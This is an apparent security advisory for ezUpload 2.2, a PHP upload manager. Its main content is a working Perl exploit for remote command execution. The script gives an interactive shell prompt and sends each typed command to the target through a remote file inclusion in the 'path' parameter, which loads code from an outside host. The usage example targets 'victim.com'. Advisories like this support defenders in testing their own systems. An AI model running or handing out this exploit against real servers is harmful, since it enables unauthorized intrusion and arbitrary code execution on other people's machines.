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ezUpload path Parameter Command Execution (Exploit)
------------------------------------------------------------------------
SUMMARY
<http://www.ezupload.org/> ezUpload is a PHP script that allow web sites
to manage upload files.
Due to improper validation of user provided input by ezUpload remote
attackers can cause the program to execute arbitrary code, the following
exploit code can be used to test your system for the mentioned
vulnerability.
DETAILS
Vulnerable Systems:
* EzUpload version 2.2
Exploit:
#!/usr/bin/perl
#__________
#\______ \ ____ __| _/ \______ \____________ ____ ____ ____
# | _// __ \ / __ | | | \_ __ \__ \ / ___\ / _ \ / \
# | | \ ___// /_/ | | ` \ | \// __ \_/ /_/ > <_> ) | \
# |____|_ /\___ >____ | /_______ /__| (____ /\___ / \____/|___| /
# \/ \/ \/ \/ \//_____/ \/
# Bug Discovered By Johnnie Walker <whisky at bsdmail.org>
# credits to ATmaCa.....oh no I forgot I ain't kozan so atmaca no credits
to u
# Greets: sirh0t , siLgi , Elisabeth And Her Bf Mattias
# Red Dragon: Nightmare . Johnnie Walker . 3rbil
# f0rtcu We Never f0rget You
use IO::Socket;
if ($ARGV[0] && $ARGV[1])
{
$host = $ARGV[0];
$path = $ARGV[1];
$target = $ARGV[2];
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
PeerPort => "80") || die "Can't connect!\r\n";
while (1) {
print 'RedDrag0n@'.$host.'$ ';
$cmd = <STDIN>;
if ($target == 2) {
$file = "initialize.php?path=http://sinanreklam.net/banner.gif?cmd="
} elsif ($target == 3) {
$file = "customize.php?path=http://sinanreklam.net/banner.gif?cmd="
} elsif ($target == 4) {
$file = "form.php?path=http://sinanreklam.net/banner.gif?cmd="
} else {
$file = "index.php?path=http://sinanreklam.net/banner.gif?cmd="
}
chop($cmd);
last if ($cmd eq 'exit');
print $sock "GET ".$path.$file.$cmd." HTTP/1.1\r\nHost:
".$host."\r\nConnection: Keep-Alive\r\n\r\n";
$vuln=0;
while ($ans = <$sock>)
{
if ($vuln == 1) { print "$ans"; }
last if ($ans =~ /^_end_/);
if ($ans =~ /^_begin_/) { $vuln = 1; }
}
if ($vuln == 0) {print "Exploit Failed :(\r\n";exit();}
}
}
else {
print "EzUpload 2.2 Remote Command Execution\r\n\r\n";
print "Target files : \r\n\r\n";
print "1 index.php (default)\r\n";
print "2 initialize.php\r\n";
print "3 customize.php\r\n";
print "4 form.php\r\n\r\n";
print "Usage: perl $0 <host> <path_to_ezupload> [target_nr] \r\n\r\n";
print "Example: perl $0 victim.com /ezupload/ 2 \r\n";
exit;
}
#EoF
ADDITIONAL INFORMATION
The information has been provided by <mailto:whisky@bsdmail.org> Batur
Binbash.
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